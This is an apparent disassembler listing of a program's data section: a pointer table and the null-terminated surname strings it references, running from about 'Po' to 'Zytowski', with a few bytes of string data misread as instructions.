		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		and	ah, ch
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC09
; ---------------------------------------------------------------------------
		align 4
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBD4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBD0o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EBCCo
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EBC8o
aZoldak		db 'Zoldak',0
		align 4
		dd 6272655Ah
		db 69h
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: ___:0042EBC5j
		outsb
		imul	eax, [eax], 6167655Ah
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC83h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBB0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBACo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBA8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBA4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBA0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EB98o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EB94o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EB90o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB8Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB88o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB84o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB80o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB7Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB78o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB74o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB70o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB6Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB68o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB64o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB60o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB5Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB58o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB54o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB50o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB48o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB44o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB40o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB3Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB38o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB34o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB30o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB2Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB28o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB24o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB20o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB1Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB18o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB14o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB10o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB0Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB08o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB04o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB00o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EAFCo
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EAF8o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EAF4o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EAF0o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAECo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAE8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAE4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EADCo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAD8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAD4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAD0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EACCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAC8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAC4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAC0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EABCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAB8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAB4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAB0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EAACo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAA8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAA4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAA0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EA9Co
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EA98o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EA94o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EA90o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA8Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA88o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA84o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA80o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA7Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA78o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA74o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA70o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA6Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA68o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA64o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA60o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA5Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA58o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA54o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA50o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA4Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA48o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA44o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA40o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA3Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA38o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA34o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA30o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA2Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA28o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA24o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA20o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA1Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA18o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA14o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA10o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA0Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA08o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA04o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA00o
aTill		db 'Till',0             ; DATA XREF: ___:0042E9FCo
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E9F8o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E9F4o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E9F0o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9ECo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9E8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9E4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9E0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9DCo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9D8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9D4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9D0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9CCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9C8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9C4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9C0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9BCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9B8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9B4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9B0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9ACo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9A8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9A4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9A0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E99Co
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E998o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E994o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E990o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E98Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E988o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E984o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E980o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E97Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E978o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E974o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E970o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E96Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E968o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E964o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E960o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E95Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E958o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E954o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E950o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E94Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E948o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E944o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E940o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E93Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E938o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E934o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E930o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E92Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E928o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E924o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E920o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E91Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E918o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E914o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E910o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E90Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E908o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E904o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E900o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E8FCo
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E8F8o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E8F4o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E8F0o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8ECo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8E8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8E4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8E0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8D8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8D4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8D0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8CCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8C8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8B8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8B4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8B0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8ACo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8A8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8A4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8A0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E89Co
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E898o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E894o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E890o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E88Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E888o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E884o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E880o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E87Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E878o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E874o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E870o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E86Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E868o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E864o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E860o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E85Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E858o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E854o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E850o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E84Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E848o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E844o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E840o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E83Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E838o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E834o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E830o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E82Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E828o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E824o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E820o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E81Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E818o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E814o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E810o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E80Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E808o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E804o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E800o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E7F8o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E7F4o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E7F0o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7ECo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7E8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7E4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7E0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7D8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7D4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7CCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7C8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7C4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7C0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7BCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7B8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7B4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7ACo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7A8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7A4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7A0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E79Co
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E798o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E794o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E790o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E78Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E788o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E784o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E780o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E77Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E778o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E774o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E770o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E76Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E768o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E764o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E760o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E75Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E758o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E754o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E750o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E74Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E748o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E744o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E740o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E73Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E738o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E734o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E730o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E72Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E728o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E724o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E720o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E71Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E718o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E714o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E710o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E70Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E708o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E704o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E700o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E6FCo
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E6F8o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E6F4o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E6F0o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6ECo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6E8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6E4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6E0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6DCo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6D8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6D4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6D0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6CCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6C8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6C4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6C0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6BCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6B8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6B4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6B0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6ACo
		align 10h
